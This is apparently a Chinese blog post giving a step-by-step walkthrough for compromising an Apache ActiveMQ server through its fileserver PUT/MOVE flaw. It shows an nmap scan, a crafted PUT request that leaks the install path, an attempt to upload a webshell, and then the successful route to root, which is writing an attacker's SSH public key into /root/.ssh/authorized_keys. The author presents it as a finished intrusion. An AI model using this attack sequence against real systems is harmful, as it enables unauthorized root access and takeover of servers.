1.扫描目标主机
MacPC:~ liuxin$ nmap -Pn -p8161 -sV 192.168.xx.xx --open
Starting Nmap 6.47 ( https://nmap.org ) at 2016-07-19 11:23 CST
Nmap scan report for 192.168.xx.xx
Host is up (0.054s latency).
PORT STATE SERVICE VERSION
8161/tcp open http Jetty 7.6.7.v20120910
2.爆ActiveMQ路径
PUT /fileserver/a../../%08/..%08/.%08/%08 HTTP/1.1
Host: 192.168.12.89:8161
Content-Length: 13
fdsafdsfadfas
返回如下
HTTP/1.1 500 /home/pbcsapp/apache-activemq-5.7.0/webapps/fileserver//.././ (No such file or directory)
Content-Length: 0
Server: Jetty(7.6.7.v20120910)
得到绝对路径
3.上传木马并MOVE到服务器目录
浏览器访问木马
发现木马文件上传成功后并不能执行,菜刀和K8一句话都失败。
4.转换思路直接获取目标root权限
4.1 本地使用ssh-keygen生成密钥对
# ssh-keygen -t RSA
4.2 把公钥上传到目标服务器
4.3 把已上传的公钥文件MOVE到以下路径并重新命名
/root/.ssh/authorized_keys
4.4 远程直接访问目标主机
搞定!
受影响系统:
Apache Group ActiveMQ 5.0.0 - 5.13.2
© 走过岁月...... | Powered by LOFTER